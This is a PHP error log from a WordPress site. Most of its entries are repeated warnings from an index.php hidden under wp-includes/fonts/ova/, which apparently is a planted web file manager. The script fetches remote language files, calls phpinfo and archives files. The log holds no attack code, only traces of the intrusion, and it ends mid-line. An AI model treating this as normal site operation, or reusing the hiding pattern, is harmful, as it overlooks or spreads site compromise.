/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:47:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:47:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 14:52:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 14:53:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:27 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 596 [30-Aug-2025 15:02:27 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 597 [30-Aug-2025 15:28:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:28:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:33:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:33:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 17:14:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 17:14:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:30 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 669 [30-Aug-2025 21:51:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:51:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:56:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:56:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 22:17:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 22:17:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:40 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1118 [30-Aug-2025 23:16:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:16:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be fou[30-Aug-2025 23:20:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1118): PharData->compress(4096, 'php.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1118 [30-Aug-2025 23:20:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: fileperms(): stat failed for /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/error_log.tar.gz in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 137 [30-Aug-2025 23:20:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:30:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:30:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:32:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:32:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:32 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:43:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:43:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:44:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:44:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:45:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:45:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:46:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:46:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:47:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:47:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be 